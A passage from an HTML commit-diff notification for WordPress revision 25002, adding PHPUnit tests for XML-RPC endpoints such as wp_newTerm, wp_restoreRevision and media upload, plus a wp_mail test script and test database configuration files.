+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               $post_tags = wp_get_object_terms( $result, 'post_tag', array( 'fields' => 'ids' ) );
+               $this->assertNotContains( $tag1['term_id'], $post_tags );
+               $this->assertContains( $tag2['term_id'], $post_tags );
+               $this->assertContains( $tag3['term_id'], $post_tags );
+       }
+
+       function test_terms_names() {
+               $this->make_user_by_role( 'editor' );
+
+               $ambiguous_name = rand_str( 30 );
+               $parent_cat = wp_create_category( $ambiguous_name );
+               $child_cat = wp_create_category( $ambiguous_name, $parent_cat );
+
+               $cat1_name = rand_str( 30 );
+               $cat1 = wp_create_category( $cat1_name, $parent_cat );
+               $cat2_name = rand_str( 30 );
+
+               // first a post with valid categories; one that already exists and one to be created
+               $post = array(
+                       'post_title' => 'Test',
+                       'terms_names' => array(
+                               'category' => array( $cat1_name, $cat2_name )
+                       )
+               );
+               $result = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               // verify that cat2 was created
+               $cat2 = get_term_by( 'name', $cat2_name, 'category' );
+               $this->assertNotEmpty( $cat2 );
+               // check that both categories were set on the post
+               $post_cats = wp_get_object_terms( $result, 'category', array( 'fields' => 'ids' ) );
+               $this->assertContains( $cat1, $post_cats );
+               $this->assertContains( $cat2->term_id, $post_cats );
+
+               // create a second post attempting to use the ambiguous name
+               $post2 = array(
+                       'post_title' => 'Test',
+                       'terms_names' => array(
+                               'category' => array( $cat1_name, $ambiguous_name )
+                       )
+               );
+               $result2 = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', $post2 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result2 );
+               $this->assertEquals( 401, $result2->code );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpnewTermphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/newTerm.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/newTerm.php                          (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/newTerm.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,110 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_newTerm extends WP_XMLRPC_UnitTestCase {
+       var $parent_term;
+
+       function setUp() {
+               parent::setUp();
+
+               $this->parent_term = wp_insert_term( 'parent' . rand_str(), 'category' );
+               $this->assertInternalType( 'array', $this->parent_term );
+               $this->parent_term = $this->parent_term['term_id'];
+       }
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'username', 'password', array() ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_empty_taxonomy() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => '' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+       }
+
+       function test_invalid_taxonomy() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => 'not_existing' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'subscriber', 'subscriber', array( 'taxonomy' => 'category' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+               $this->assertEquals( __( 'You are not allowed to create terms in this taxonomy.' ), $result->message );
+       }
+
+       function test_empty_term() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => 'category', 'name' => '' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'The term name cannot be empty.' ), $result->message );
+       }
+
+       function test_parent_for_nonhierarchical() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => 'post_tag', 'parent' => $this->parent_term, 'name' => 'test' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'This taxonomy is not hierarchical.' ), $result->message );
+       }
+
+       function test_parent_invalid() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => 'category', 'parent' => 'dasda', 'name' => 'test' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 500, $result->code );
+       }
+
+       function test_parent_not_existing() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => 'category', 'parent' => 9999, 'name' => 'test' ) ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'Parent term does not exist.' ), $result->message );
+       }
+
+
+       function test_add_term() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => 'category', 'name' => 'test' ) ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertStringMatchesFormat( '%d', $result );
+       }
+
+       function test_add_term_with_parent() {
+               $this->make_user_by_role( 'editor' );
+
+               $result  = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', array( 'taxonomy' => 'category', 'parent' => $this->parent_term, 'name' => 'test' ) ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertStringMatchesFormat( '%d', $result );
+       }
+
+       function test_add_term_with_all() {
+               $this->make_user_by_role( 'editor' );
+
+               $taxonomy = array( 'taxonomy' => 'category', 'parent' => $this->parent_term, 'name' => 'test_all', 'description' => 'Test all', 'slug' => 'test_all' );
+               $result  = $this->myxmlrpcserver->wp_newTerm( array( 1, 'editor', 'editor', $taxonomy ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertStringMatchesFormat( '%d', $result );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsxmlrpcwprestoreRevisionphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/restoreRevision.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/restoreRevision.php                          (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/restoreRevision.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,52 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_restoreRevision extends WP_XMLRPC_UnitTestCase {
+       var $post_id;
+       var $revision_id;
+
+       function setUp() {
+               parent::setUp();
+
+               $this->post_id = $this->factory->post->create( array( 'post_content' => 'edit1' ) ); // Not saved as a revision
+               // First saved revision on update, see http://core.trac.wordpress.org/changeset/24650
+               wp_insert_post( array( 'ID' => $this->post_id, 'post_content' => 'edit2' ) ); 
+
+               $revisions = wp_get_post_revisions( $this->post_id );
+               //$revision = array_shift( $revisions ); // First revision is empty - http://core.trac.wordpress.org/changeset/23842
+               // First revision is NOT empty, see http://core.trac.wordpress.org/changeset/24650
+               $revision = array_shift( $revisions );
+               $this->revision_id = $revision->ID;
+       }
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_restoreRevision( array( 1, 'username', 'password', $this->revision_id ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_restoreRevision( array( 1, 'subscriber', 'subscriber', $this->revision_id ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_capable_user() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_restoreRevision( array( 1, 'editor', 'editor', $this->revision_id ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+       }
+
+       function test_revision_restored() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_restoreRevision( array( 1, 'editor', 'editor', $this->revision_id ) );
+               $this->assertTrue( $result );
+               $this->assertEquals( 'edit2', get_post( $this->post_id )->post_content );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpuploadFilephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/uploadFile.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/uploadFile.php                               (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/uploadFile.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,79 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_uploadFile extends WP_XMLRPC_UnitTestCase {
+
+       function test_valid_attachment() {
+               $this->make_user_by_role( 'editor' );
+
+               // create attachment
+               $filename = ( DIR_TESTDATA . '/images/a2-small.jpg' );
+               $contents = file_get_contents( $filename );
+               $data = array(
+                       'name' => 'a2-small.jpg',
+                       'type' => 'image/jpeg',
+                       'bits' => $contents
+               );
+
+
+               $result = $this->myxmlrpcserver->mw_newMediaObject( array( 0, 'editor', 'editor', $data ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               // check data types
+               $this->assertInternalType( 'string', $result['id'] );
+               $this->assertStringMatchesFormat( '%d', $result['id'] );
+               $this->assertInternalType( 'string', $result['file'] );
+               $this->assertInternalType( 'string', $result['url'] );
+               $this->assertInternalType( 'string', $result['type'] );
+       }
+
+       /**
+        * @ticket 21292
+        */
+       function test_network_limit() {
+               $this->make_user_by_role( 'editor' );
+
+               update_option( 'blog_upload_space', 0.1 );
+
+               // create attachment
+               $filename = ( DIR_TESTDATA . '/images/canola.jpg' );
+               $contents = file_get_contents( $filename );
+               $data = array(
+                       'name' => 'canola.jpg',
+                       'type' => 'image/jpeg',
+                       'bits' => $contents
+               );
+
+               $result = $this->myxmlrpcserver->mw_newMediaObject( array( 0, 'editor', 'editor', $data ) );
+
+               // Only multisite should have a limit
+               if ( is_multisite() )
+                       $this->assertInstanceOf( 'IXR_Error', $result );
+               else
+                       $this->assertNotInstanceOf( 'IXR_Error', $result );
+       }
+
+       /**
+        * @ticket 11946
+        */
+       function test_valid_mime() {
+               $this->make_user_by_role( 'editor' );
+
+               // create attachment
+               $filename = ( DIR_TESTDATA . '/images/test-image-mime-jpg.png' );
+               $contents = file_get_contents( $filename );
+               $data = array(
+                       'name' => 'test-image-mime-jpg.png',
+                       'type' => 'image/png',
+                       'bits' => $contents
+               );
+
+               $result = $this->myxmlrpcserver->mw_newMediaObject( array( 0, 'editor', 'editor', $data ) );
+
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               $this->assertEquals( 'image/jpeg', $result['type'] );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunktestswpmailrealtestphp"></a>
<div class="addfile"><h4>Added: trunk/tests/wp-mail-real-test.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/wp-mail-real-test.php                                (rev 0)
+++ trunk/tests/wp-mail-real-test.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,85 @@
</span><ins>+<?php
+/**
+ * wp-mail-real-test.php
+ *
+ * Test script for wp_mail with real addresses.
+ */
+
+// parse options
+$options = 'v:r:d';
+if (is_callable('getopt')) {
+       $opts = getopt($options);
+} else {
+       include( dirname(__FILE__) . '/wp-testlib/getopt.php' );
+       $opts = getoptParser::getopt($options);
+}
+
+define('DIR_TESTROOT', realpath(dirname(__FILE__)));
+
+define('TEST_WP', true);
+define('WP_DEBUG', array_key_exists('d', $opts) );
+
+if (!empty($opts['r']))
+       define('DIR_WP', realpath($opts['r']));
+else
+       if (!empty($opts['v']))
+               define('DIR_WP', DIR_TESTROOT.'/wordpress-'.$opts['v']);
+       else
+               define('DIR_WP', DIR_TESTROOT.'/wordpress');
+
+// make sure all useful errors are displayed during setup
+error_reporting(E_ALL & ~E_DEPRECATED);
+ini_set('display_errors', true);
+
+require_once(DIR_TESTROOT.'/wp-testlib/utils.php');
+
+// configure wp
+require_once(DIR_TESTROOT.'/wp-config.php');
+define('ABSPATH', realpath(DIR_WP).'/');
+
+// install wp
+define('WP_BLOG_TITLE', rand_str());
+define('WP_USER_NAME', rand_str());
+define('WP_USER_EMAIL', rand_str().'@example.com');
+
+// initialize wp
+define('WP_INSTALLING', 1);
+$_SERVER['PATH_INFO'] = $_SERVER['SCRIPT_NAME']; // prevent a warning from some sloppy code in wp-settings.php
+require_once(ABSPATH.'wp-settings.php');
+
+drop_tables();
+
+require_once(ABSPATH.'wp-admin/includes/upgrade.php');
+wp_install(WP_BLOG_TITLE, WP_USER_NAME, WP_USER_EMAIL, true);
+
+// make sure we're installed
+assert(true == is_blog_installed());
+
+define('PHPUnit_MAIN_METHOD', false);
+$original_wpdb = $GLOBALS['wpdb'];
+
+// hide warnings during testing, since that's the normal WP behaviour
+if ( !WP_DEBUG ) {
+       error_reporting(E_ALL ^ E_NOTICE);
+}
+
+$to = "To <wp.mail.testing@gmail.com>";
+$from = "From <wp.mail.testing+from@gmail.com>";
+$cc = "CC <wp.mail.testing+cc@gmail.com>";
+$bcc = "BCC <wp.mail.testing+bcc@gmail.com>";
+$subject = "RFC2822 Testing";
+$message = "My RFC822 Test Message";
+$headers[] = "From: {$from}";
+$headers[] = "CC: {$cc}";
+
+$_SERVER['SERVER_NAME'] = 'example.com';
+wp_mail( $to, $subject, $message, $headers );
+
+$headers = array();
+$subject = "RFC2822 Testing 2";
+$message = "My RFC822 Test Message 2";
+$to = "To <wp.mail.testing+to@gmail.com>";
+$headers[] = "BCC: {$bcc}";
+wp_mail( '', $subject, $message, $headers );
+echo "Test emails sent!\n"
+?>
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunktestswptestsconfigsamplephp"></a>
<div class="addfile"><h4>Added: trunk/tests/wp-tests-config-sample.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/wp-tests-config-sample.php                           (rev 0)
+++ trunk/tests/wp-tests-config-sample.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,39 @@
</span><ins>+<?php
+
+/* Path to the WordPress codebase you'd like to test. Add a backslash in the end. */
+define( 'ABSPATH', dirname( dirname( __FILE__ ) ) . '/src/' );
+
+// Test with multisite enabled: (previously -m)
+// define( 'WP_TESTS_MULTISITE', true );
+
+// Force known bugs: (previously -f)
+// define( 'WP_TESTS_FORCE_KNOWN_BUGS', true );
+
+// Test with WordPress debug mode on (previously -d)
+// define( 'WP_DEBUG', true );
+
+// ** MySQL settings ** //
+
+// This configuration file will be used by the copy of WordPress being tested.
+// wordpress/wp-config.php will be ignored.
+
+// WARNING WARNING WARNING!
+// These tests will DROP ALL TABLES in the database with the prefix named below.
+// DO NOT use a production database or one that is shared with something else.
+
+define( 'DB_NAME', 'yourdbnamehere' );
+define( 'DB_USER', 'yourusernamehere' );
+define( 'DB_PASSWORD', 'yourpasswordhere' );
+define( 'DB_HOST', 'localhost' );
+define( 'DB_CHARSET', 'utf8' );
+define( 'DB_COLLATE', '' );
+
+$table_prefix  = 'wptests_';   // Only numbers, letters, and underscores please!
+
+define( 'WP_TESTS_DOMAIN', 'example.org' );
+define( 'WP_TESTS_EMAIL', 'admin@example.org' );
+define( 'WP_TESTS_TITLE', 'Test Blog' );
+
+define( 'WP_PHP_BINARY', 'php' );
+
+define( 'WPLANG', '' );
</ins></span></pre></div>
<a id="trunktestswptestsconfigphp"></a>
<div class="addfile"><h4>Added: trunk/tests/wp-tests-config.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/wp-tests-config.php                          (rev 0)
+++ trunk/tests/wp-tests-config.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,39 @@
</span><ins>+<?php
+
+/* Path to the WordPress codebase you'd like to test. Add a backslash in the end. */
+define( 'ABSPATH', dirname( dirname( __FILE__ ) ) . '/src/' );
+
+// Test with multisite enabled: (previously -m)
+// define( 'WP_TESTS_MULTISITE', true );
+
+// Force known bugs: (previously -f)
+// define( 'WP_TESTS_FORCE_KNOWN_BUGS', true );
+
+// Test with WordPress debug mode on (previously -d)
+// define( 'WP_DEBUG', true );
+
+// ** MySQL settings ** //
+
+// This configuration file will be used by the copy of WordPress being tested.
+// wordpress/wp-config.php will be ignored.
+
+// WARNING WARNING WARNING!
+// These tests will DROP ALL TABLES in the database with the prefix named below.
+// DO NOT use a production database or one that is shared with something else.
+
+define( 'DB_NAME', 'wptestrunner' );
+define( 'DB_USER', 'root' );
+define( 'DB_PASSWORD', 'root' );
+define( 'DB_HOST', 'localhost' );
+define( 'DB_CHARSET', 'utf8' );
+define( 'DB_COLLATE', '' );
+
+$table_prefix  = 'wptests_';   // Only numbers, letters, and underscores please!
+
+define( 'WP_TESTS_DOMAIN', 'example.org' );
+define( 'WP_TESTS_EMAIL', 'admin@example.org' );
+define( 'WP_TESTS_TITLE', 'Test Blog' );
+
+define( 'WP_PHP_BINARY', 'php' );
+
+define( 'WPLANG', '' );
</ins></span></pre>
</div>
</div>

</body>
</html>